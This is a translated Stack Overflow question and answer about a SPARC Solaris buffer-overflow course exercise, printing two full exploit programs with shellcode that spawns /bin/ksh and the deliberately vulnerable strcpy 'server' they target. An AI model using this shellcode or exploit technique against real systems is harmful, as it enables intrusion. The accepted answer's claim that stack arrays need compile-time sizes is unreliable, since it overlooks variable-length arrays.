buffer-overflow - 为什么其中一个程序可以运行,而另一个却不能?

标签 buffer-overflow sun sparc

我最近完成了一个项目,其中我要编写一个程序来“攻击”SUN Sparc“服务器”并导致缓冲区溢出。基本上,目标是从正在运行的“服务器”内部启动/bin/ksh。

最终我让它工作了,但我认为这是一个愚蠢的原因:当用户输入缓冲区和偏移值作为参数时它不起作用,但当这些值被硬编码时它起作用。

这是“刚性”程序:

#include <stdlib.h>
#include <stdio.h>

/* lsd - Solaris shellcode 
 */
static char shell[]=         /* 10*4+8 bytes */

        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x7f\xff\xff\xff"   /* call  */
        "\x90\x03\xe0\x20"   /* add %o7,32,%o0 */
        "\x92\x02\x20\x10"   /* add %o0,16,%o1 */
        "\xc0\x22\x20\x08"   /* st %g0,[%o0+8] */
        "\xd0\x22\x20\x10"   /* st %o0,[%o0+16] */
        "\xc0\x22\x20\x14"   /* st %g0,[%o0+20] */
        "\x82\x10\x20\x0b"   /* mov 0x0b,%g1 */
        "\x91\xd0\x20\x08"   /* ta 8 */
        "/bin/ksh" ;

#define BUFSIZE 864

/* SPARC NOP
 */
static char np[] = "\xac\x15\xa1\x6e";

unsigned long get_sp( void ) {
        asm("or %sp,%sp,%i0");
}

main( int argc, char *argv[] ) {

    char buf[ BUFSIZE ],*ptr;
    unsigned long ret,sp;
    int rem,i,err;

    ret = sp = get_sp();

    if( argv[1] ) {
            ret -= strtoul( argv[1], (void *)0, 16 );
    }

    /* align return address: IMPORTANT to be multiple of 8!! */

    if( ( rem = ret % 8 ) ) {
            ret &= ~(rem);
    }

    bzero( buf, BUFSIZE );
    for( i = 0; i < BUFSIZE; i+=4 ) {
            strcpy( &buf[i], np );
    }

    memcpy( (buf + BUFSIZE - strlen( shell ) - 8),shell,strlen( shell ));

    ptr = &buf[856];

    /* set fp to a save stack value
     */
    *( ptr++ ) = ( sp >> 24 ) & 0xff;
    *( ptr++ ) = ( sp >> 16 ) & 0xff;
    *( ptr++ ) = ( sp >> 8 ) & 0xff;
    *( ptr++ ) = ( sp ) & 0xff;


    /* we now overwrite saved PC
     */
    *( ptr++ ) = ( ret >> 24 ) & 0xff;
    *( ptr++ ) = ( ret >> 16 ) & 0xff;
    *( ptr++ ) = ( ret >> 8 ) & 0xff;
    *( ptr++ ) = ( ret ) & 0xff;

    buf[ BUFSIZE ] = 0;


#ifndef QUIET
    printf("Return Address 0x%x\n",ret);
    printf("Start overflowing server program\n");
    printf("Then a program such as shell can be executed after server program is over\n");
#endif

    err = execl( "./server1", "server1", buf, ( void *)0 );
    if( err == -1 ) perror("execl");
}

这是“灵活”版本:

#include <stdlib.h>
#include <stdio.h>

/* lsd - Solaris shellcode 
 */
static char shell[]=         /* 10*4+8 bytes */

    "\x20\xbf\xff\xff"   /* bn,a  */
    "\x20\xbf\xff\xff"   /* bn,a  */
    "\x7f\xff\xff\xff"   /* call  */
    "\x90\x03\xe0\x20"   /* add %o7,32,%o0 */
    "\x92\x02\x20\x10"   /* add %o0,16,%o1 */
    "\xc0\x22\x20\x08"   /* st %g0,[%o0+8] */
    "\xd0\x22\x20\x10"   /* st %o0,[%o0+16] */
    "\xc0\x22\x20\x14"   /* st %g0,[%o0+20] */
    "\x82\x10\x20\x0b"   /* mov 0x0b,%g1 */
    "\x91\xd0\x20\x08"   /* ta 8 */
    "/bin/ksh" ;

static int BUFSIZE;
static int OFFSET;

/* SPARC NOP
 */
static char np[] = "\xac\x15\xa1\x6e";

unsigned long get_sp( void ) {
    asm("or %sp,%sp,%i0");
}

main( int argc, char *argv[] ) {

BUFSIZE = atoi(argv[1]);
OFFSET = atoi(argv[2]);
char buf[ BUFSIZE ],*ptr;
unsigned long ret,sp;
int rem,i,err;

ret = sp = get_sp();

if( argv[1] ) {
        ret -= strtoul( argv[1], (void *)0, 16 );
}
/* align return address: IMPORTANT to be multiple of 8!! */

if( ( rem = ret % 8 ) ) {
        ret &= ~(rem);
}

bzero( buf, BUFSIZE );
for( i = 0; i < BUFSIZE; i+=4 ) {
        strcpy( &buf[i], np );
}

memcpy( (buf + BUFSIZE - strlen( shell ) - 8),shell,strlen( shell ));

ptr = &buf[OFFSET];

/* set fp to a save stack value
 */
*( ptr++ ) = ( sp >> 24 ) & 0xff;
*( ptr++ ) = ( sp >> 16 ) & 0xff;
*( ptr++ ) = ( sp >> 8 ) & 0xff;
*( ptr++ ) = ( sp ) & 0xff;

/* we now overwrite saved PC
 */
*( ptr++ ) = ( ret >> 24 ) & 0xff;
*( ptr++ ) = ( ret >> 16 ) & 0xff;
*( ptr++ ) = ( ret >> 8 ) & 0xff;
*( ptr++ ) = ( ret ) & 0xff;

buf[ BUFSIZE ] = 0;


#ifndef QUIET
    printf("Return Address 0x%x\n",ret);
    printf("Start overflowing server program\n");
    printf("Then a program such as shell can be executed after server program is over\n");
#endif

    err = execl( "./server1", "server1", buf, ( void *)0 );
    if( err == -1 ) perror("execl");
}

请注意,唯一的区别是我声明了 BUFSIZE 和 OFFSET 而没有定义它们,然后在 main 中设置它们。

为了后代,这是我正在攻击的“服务器”:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void copy1( const char *a ){
char buf[800];
    int i, j, k;
    printf("Inside COPY\n"); 
strcpy(buf,a);
}

void Doing_nothing() {
  int i, a[200];
  printf("Inside Doing_nothing\n");
  for (i=0; i < 100; i++)
     a[i] =2;
}

void main( int argc, char *argv[] ) {

    printf("\n *********************************\n");
    printf("This is a newly developed WEB server. \n");
    printf(" ****************************************\n") ;
    printf(" ******The web server is executing*******\n") ;
    printf(" ****************************************\n") ;
if (argc >=2 ) {
      Doing_nothing();
      copy1( argv[1] );
}      
}

这些都是在我的 Oracle Solaris 10 9/10 s10s_u9wos_14a SPARC 计算机上编译的。

我的问题是:

为什么灵活的程序不能工作只是因为我使用了 BUFSIZE 和 OFFSET 命令行参数?

最佳答案

令我惊讶的是动态代码甚至编译了。

在堆栈上以 int A[X] 形式声明的数组必须具有编译时已知的大小。

您需要使用 malloc 来分配数组。

char buf[ BUFSIZE ],*ptr;

应该是

char *buf,*ptr;
buf = (char *)malloc(BUFSIZE);

完成后不要忘记释放它

关于buffer-overflow - 为什么其中一个程序可以运行,而另一个却不能?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/10403768/

相关文章:

c++ - "xor eax, ebp"在 C++ 编译器输出中使用

c - Linux 上是否有替代 gcc 堆栈保护器/强化源功能的库?

java - com.sun.jersey 和 org.glassfish.jersey 的区别

assembly - 优化 SPARC 程序集中的循环

c - SPARC 程序集 jmp\boot

c - 使用 fgets() 对 C 程序进行利用

c++ - 套接字连接上的缓冲区溢出

performance - dTrace 脚本和工具

c++ - PCC-S-02015,无法打开包含文件

c - 以下程序集对以下 .c 文件做了什么